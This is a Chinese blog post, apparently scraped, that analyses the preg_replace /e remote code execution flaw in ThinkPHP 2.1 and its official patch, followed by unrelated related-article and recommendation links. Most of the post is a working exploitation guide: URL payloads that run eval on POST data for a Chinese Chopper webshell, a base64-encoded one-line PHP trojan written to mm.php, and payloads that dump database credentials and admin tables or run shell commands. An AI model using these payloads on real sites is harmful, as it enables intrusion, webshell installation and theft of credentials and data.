thinkphp 2.1的版本
 
我们来分析下漏洞
 
官方发布了一个安全补丁
 
表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码。
 
官方的补丁:
 
/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
 
 
 
125 –$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=”\2″;’, implode($depr,$paths));
125 + $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=’\2′;’, implode($depr,$paths));
 
 
 
这个代码是把pathinfo当作restful类型url进行解析的,主要作用是把pathinfo中的数据解析并合并到$_GET数组中。
然而在用正则解析pathinfo的时候,主要是这一句:
 
 
 
$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=”\2″;’, implode($depr,$paths));
 
 
 
这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。
 
‘$var['\1']=”\2″;’
 
而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码:
 
index.php/module/action/param1/${@print(THINK_VERSION)}
 
执行效果如下:

就是说
 
print( )里面可以执行我们的任意代码
 
如phpinfo()等其他函数
 
那就行了
 
我们可以直接利用
 
fputs和fopen函数直接写木马出来了
 
构造语句
 
fputs(fopen(base64_decode(“bW0ucGhw”),”w”),base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”))
 
base64_decode(“bW0ucGhw”)解码后是mm.php
 
base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”)解码后是<?eval($_POST[c]);?>
 
只要执行了 就能在该目录下生成一个mm.php的一句话木马文件
 
但是操作的时候出现了问题

经分析 是双引号被转义了
 
然后我试了其他几种不用双引号写马的代码
 
都失败了  原因是  <>  尖括号等都被转义了   而用
 
exec()等系统命令执行函数写马的话是写不出的
 
网上的利用方法貌似很少  只有神刀网的那个用echo写马的方法
 
但是前提是双引号没有被转义掉才能成功
 
怎么办呢
 
这个时候不要太拘泥于这里了
 
一个中国人搞安全怎么能忘记中国人写的软件菜刀了
 
直接构造代码
 
 
 
http://www.2cto.com /project/xaa/index.php/module/action/param1/${@print(eval($_POST[c]))}
 
 
 
菜刀里面直接填这个路径 密码C  就能连接了

根本不用拘泥于写马的问题!

ps:

1.使用THINK_VERSION可以获取Thinkphp的版本号

如:/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D

2.使用C方法,获取数据库配置相关信息:C(DB_NAME)、C(DB_HOST)、C(DB_USER)、C(DB_PWD)等

如: /index.php/module/action/param1/$%7B@print(C(db_name))%7D

3.使用D方法或者M方法,查询数据库,最典型的使用方式var_dump(D(Admin)->select()),能够查询出管理员信息,当然,表名需要猜一下,一般是admin,user等。

如:/index.php/module/action/param1/$%7B@print(var_dump(D(Admin)->select()))%7D

4.利用PHP在“·”(Tab键上面的键,URL编码后为%60)之间的内容可以当做命令执行的方式,不管是windows还是Linux下,都可以执行cmd或者是Shell命令。

如:

index.php/module/action/param1/$%7B@print(%60dirls%60)%7D  ---------- 在windows下

index.php/module/action/param1/$%7B@print(%60ls%60)%7D -------------在linux下

可以获取目录内容。

Thinkphp2.1爆出重大安全漏洞的更多相关文章

  1. PHP多个版本爆出远程DOS漏洞

    近日,php多个版本爆出远程DoS漏洞(官方编号69364),利用该漏洞构造poc发起链接,很容易导致目标主机cpu的100%占用率,绿盟科技威胁响应中心随即启动应急机制, 启动应急响应工作,总结PH ...

  2. cve-2015-1635漏洞分析

    上周(2015.4.15)爆出的cve-2015-1635漏洞,遂分析一番,留作记录.使用poc如下. wget 192.168.16.168/welcome.png --debug --header ...

  3. WP_Image_Editor_Imagick 漏洞临时解决方法

    导读 阿里云推送的一条短信通知:存放在上面的WordPress程序有WP_Image_Editor_Imagick漏洞问题,需要登入后台补丁等等的暗示.当然,如果需要在线补丁则需要升级阿里云的安骑士专 ...

  4. Linux后门入侵检测工具,附bash漏洞解决方法[转载]

    转自:http://blog.jobbole.com/77663/ 官网 ClamAV杀毒软件介绍 ClamAV是一个在命令行下查毒软件,因为它不将杀毒作为主要功能,默认只能查出您计算机内的病毒,但是 ...

  5. zabbix 安装配置以及漏洞检测脚本

    最近zabbix爆出sql注入漏洞.之前一直没装过.就想着来安装一次.我在centos配置玩玩,记录一下:1.安装LAMP yum -y install httpd  mysql  mysql-ser ...

  6. 齐博cms 7.0 漏洞分析

    ** 0x01 原理分析 ** 还是很早之前爆出来的漏洞,现在拿出来学习一下,参考阿里巴巴: https://security.alibaba.com/... 漏洞发生在/inc/common.inc ...

  7. 独家分析:安卓“Janus”漏洞的产生原理及利用过程

    近日,Google在12月发布的安卓系统安全公告中披露了一个名为"Janus"安卓漏洞(漏洞编号:CVE-2017-13156).该漏洞可以让攻击者绕过安卓系统的signature ...

  8. S2-045漏洞初步分析

    0x01 前言 前几天刚分析完s2-032这个漏洞,今天又爆发了一个s2-045的漏洞,又是直接的命令执行,影响了struts2绝大多数的版本. 官方给的漏洞公告在这里   https://cwiki ...

  9. nodejs学习以及SSJS漏洞

    0x01 简介 什么是nodejs,it's javascript webserver! JS是脚本语言,脚本语言都需要一个解析器才能运行.对于写在HTML页面里的JS,浏览器充当了解析器的角色.而对 ...

随机推荐

  1. golang consistent hash 菜鸟分析

    一直找集群的算法,刚好golang上面有一个适合.下面作为菜鸟来分析一下 // Copyright (C) 2012 Numerotron Inc. // Use of this source cod ...

  2. python基础===python内置函数大全

    python python内建函数 一.数学运算类 abs(x) 求绝对值1.参数可以是整型,也可以是复数2.若参数是复数,则返回复数的模 complex([real[, imag]]) 创建一个复数 ...

  3. Entity Framework 6.1.2 offset row fetch next 错误解决办法

    本地测试环境用的SqlServer2012,生产环境2008R2.然后在查询分页数据时生产环境悲剧的报错了. 原因是EF6.1.2以上版本在编译SQL时使用了新的语法对低版本的SqlServer不兼容 ...

  4. Tomcat下载安装及常见问题解决办法

    一.Tomcat的下载: 下载地址:http://tomcat.apache.org/ 下载Tomcat6.0(在左侧的Download下,考虑到稳定性现在企业大部分还在用Tomcat6.0) (1) ...

  5. mysql 单列索引限制

    innodb_large_prefix. 这个参数默认值是OFF.当改为ON时,允许列索引最大达到3072. >=5.7.7默认打开 <=5.7.6默认关闭 innodb_large_pr ...

  6. dubbo消费方超时处理

    在我们分布式系统中,远程调用可能随时会出现调用超时,然后抛异常 在dubbo内部,默认设置的是500ms(好像是),所以,对于crud事物大的系统来讲肯定是要自定义超时时间咯,作为消费方,自然是优先级 ...

  7. synchronized 修饰static方法

    •1.依靠对象锁锁定 初始化一个对象时,自动有一个 对象锁. synchronized {普通方法}依靠对象锁工作,多线程访问synchronized方法,一旦某个进程抢得锁之后,其他的进程只有排队对 ...

  8. 《深入理解Java虚拟机》学习笔记

    <深入理解Java虚拟机>学习笔记 一.走近Java JDK(Java Development Kit):包含Java程序设计语言,Java虚拟机,JavaAPI,是用于支持 Java 程 ...

  9. APP中常见上下循环滚动通知的简单实现,点击可进入详情

    APP中常见上下循环滚动通知的简单实现,点击可进入详情 关注finddreams博客,一起分享一起进步!http://blog.csdn.net/finddreams/article/details/ ...

  10. [orangehrm] 安装问题集合

    Web server allows .htaccess files # 这一项检查不通过 解决: In conf/extra/httpd-vhosts.conf, add the line Allow ...